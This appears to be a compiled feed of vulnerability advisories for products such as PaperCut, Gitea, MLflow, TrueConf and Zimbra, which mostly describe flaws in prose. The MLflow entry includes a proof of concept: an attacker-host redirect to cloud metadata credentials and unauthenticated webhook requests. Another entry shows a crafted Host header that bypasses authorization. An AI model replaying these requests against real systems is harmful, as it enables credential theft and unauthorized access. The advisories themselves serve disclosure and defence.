An unsafe dynamic class loading vulnerability exists in the database connection utilities of PaperCut MF and PaperCut NG. The application instantiates database driver classes based on configurable driver names without validating against an allowlist of approved drivers. If an attacker can manipulate system configuration parameters, this enables the execution of arbitrary Java bytecode residing on the application classpath under the security context of the PaperCut server process.
An improper access control vulnerability exists in the web management interface of PaperCut MF and PaperCut NG. Under specific conditions, unauthenticated remote requests targeting administrative functions can trigger backend actions prior to the completion of access validation checks. This allows an unauthenticated remote attacker to modify certain system configurations.
ownCloud suffers from an improper authentication vulnerability (CVE-2023-49105) that permits attackers to access, modify, or delete any file without authentication if they know the victim's username and the victim has no signing-key configured. This vulnerability has been exploited in the wild. No specific affected versions or patches are provided in the available data.
A Chinese-speaking threat actor tracked as Red Heron rapidly weaponized CVE-2026-60004, a critical Gitea remote code execution vulnerability, within days of public disclosure in July 2026. The actor scanned 1,386 Gitea instances across seven countries, successfully compromising organizations in Canada, Argentina, Taiwan, the United States, and Sri Lanka. Activities included source code theft, credential collection, SSH persistence, and lateral movement, with one case escalating from a vulnerable Gitea server to root access across a three-node Proxmox cluster. An exposed staging server revealed targeting taxonomies using Simplified Chinese labels covering defense, elections, energy, aerospace, telecommunications, and government sectors. The campaign deployed JITTERLY, a C++ Linux implant with 30+ post-exploitation commands, embedding SIXZUT, a previously undocumented LD_PRELOAD rootkit capable of hiding files, processes, and network connections while protecting the implant from termination.
Ajax.NET Professional (AjaxPro) suffers from a deserialization of untrusted data vulnerability that can lead to remote code execution by processing arbitrary .NET classes. The affected product may be end-of-life or end-of-service, and users are advised to discontinue its use or migrate to supported alternatives. Exploitation in the wild has been observed.
CVE-2015-3246 is a race condition vulnerability in Red Hat libuser that allows authenticated local users to corrupt the /etc/passwd file, potentially causing denial of service or privilege escalation. This vulnerability has been exploited in the wild. No specific affected versions or patch information is provided in the available data.
CVE-2015-5287 is a privilege escalation vulnerability in Red Hat's Automatic Bug Reporting Tool (ABRT). It allows local users with certain permissions to gain elevated privileges via a symlink attack on a file with a predictable name. The affected product versions may be end-of-life or end-of-service, and users are advised to discontinue use or upgrade to supported versions.
CVE-2022-0995 is an out-of-bounds memory write vulnerability in the Linux Kernel that allows a local user to gain privileged access or cause a denial of service. It has been exploited in the wild. No specific affected versions or patch information are provided.
CVE-2019-1068 is a remote code execution vulnerability in Microsoft SQL Server that allows an attacker to execute code with the privileges of the SQL Server Database Engine service account. This vulnerability has been exploited in the wild. No specific affected versions or patch information is provided in the available data.
The vulnerability is tracked as CVE-2026-21962 and it has been widely exploited by threat actors against WebLogic servers. The post CISA Warns of Exploited Oracle WebLogic Vulnerability appeared first on SecurityWeek .
CVE-2026-72530 is a critical code injection vulnerability in TrueConf Server that allows a remote unauthorized attacker with network access to port 4307/TCP to execute arbitrary code on the host system. The vulnerability affects TrueConf Server versions prior to 5.3, versions from 5.3 up to but not including 5.3.9, versions from 5.4 up to but not including 5.4.9, and versions from 5.5 up to but not including 5.5.5. Exploitation requires a specially crafted script to break out of an isolated environment. The CVSS 4.0 base score is 9.5, indicating critical severity. No patch or remediation information is provided in the input data.
CVE-2026-72529 is a critical vulnerability in TrueConf Server that allows remote attackers with network access to port 4307/TCP to execute arbitrary scripts without authentication. This affects multiple versions of TrueConf Server prior to 5.3, as well as specific ranges within 5.3.x, 5.4.x, and 5.5.x. The flaw stems from missing authentication on a critical function accessible via an undocumented call.
Vulnerability in NetScaler ADC and NetScaler Gateway.
This issue affects ADC: from 14.1 through 73.32 and from 13.1 through 63.21; Gateway: from 14.1 through 73.32 and from 13.1 through 63.21.
### Summary
The default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.
### Details
Three facts combine:
1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.
2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:
```python
schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False
for addr_info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(addr_info[4][0])
if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata
```
The resolved IP is never carried into the connection.
3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
```python
def _create_webhook_session():
adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning
...
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only
return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
# no allow_redirects=False -> 302 followed; redirect Location never re-validated
```
test_webhook returns response_status and response_body to the caller.
Bypass vectors:
Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.
DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.
### PoC
All requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF
fetch is performed by the MLflow server itself; the internal response is reflected back in the
`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP
and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.
Attacker redirect server (on {{ATTACKER}}, valid TLS cert):
nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)
<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />
Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}
-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}
<img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" />
Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:
POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}
-> 200 {"result":{"success":true,"response_status":200,
"response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}
<img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" />
Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting
to a
### Summary
In affected versions, the HTTP `Host` request header was not validated before being used to reconstruct `request.url`. Because the routing algorithm relies on the raw HTTP path while `request.url` is rebuilt from the `Host` header, a malformed header could make `request.url.path` differ from the path that was actually requested. Middleware and endpoints that apply security restrictions based on `request.url` (rather than the raw `scope` path) could therefore be bypassed.
### Details
When a client requests `http://example.com/foo`, it sends:
```http
GET /foo HTTP/1.1
Host: example.com
```
Affected versions reconstructed the URL by concatenating `http://{host}{path}` and re-parsing the result. The `Host` value is only valid as a `uri-host [ ":" port ]` per [RFC 9112 §3.2](https://www.rfc-editor.org/rfc/rfc9112.html#section-3.2-6), where `uri-host` follows the restricted `host` grammar of [RFC 3986 §3.2.2](https://www.rfc-editor.org/rfc/rfc3986.html#section-3.2.2). When it contains characters outside that grammar - notably `/`, `?`, or `#` - those characters move the path/query/fragment boundaries during re-parsing, so the parsed `request.url.path` no longer matches the path the server actually received. For example:
```http
GET /foo HTTP/1.1
Host: example.com/abc?bar=
```
reconstructs to `http://example.com/abc?bar=/foo`, whose parsed `path` is `/abc` - even though routing used the real path `/foo`. The router still dispatches to `/foo` and the endpoint executes, but any middleware or code that reads `request.url.path` sees `/abc`, so path-based authorization checks can be bypassed.
### Impact
Any application running an affected version that relies on `request.url` (or `request.url.path`) for security-sensitive decisions is affected. The most common case is middleware that gates access to certain path prefixes based on `request.url.path`. Deployments fronted by a proxy or load balancer are mitigated only if that proxy rejects or normalizes the malformed `Host` header before forwarding and the application does not trust attacker-controlled host headers (e.g. `X-Forwarded-Host`) elsewhere.
### Mitigation
Upgrade to a patched version, which validates the `Host` header against the grammar of [RFC 9112 §3.2](https://www.rfc-editor.org/rfc/rfc9112.html#section-3.2-6) / [RFC 3986 §3.2.2](https://www.rfc-editor.org/rfc/rfc3986.html#section-3.2.2) when constructing `request.url` and falls back to `scope["server"]` for malformed values.
A remote code execution vulnerability exists in Zimbra Collaboration (ZCS) before 10.1.20 when the optional zimbra-snmp package is installed and SNMP notifications are enabled. Due to improper sanitization of untrusted input during SNMP notification processing, an unauthenticated attacker can send specially crafted SMTP requests that may result in execution of arbitrary operating system commands as the Zimbra user.
JFrog Artifactory could return an internal anonymous-user token to an unauthenticated caller when anonymous access is disabled, potentially exposing sensitive resources.
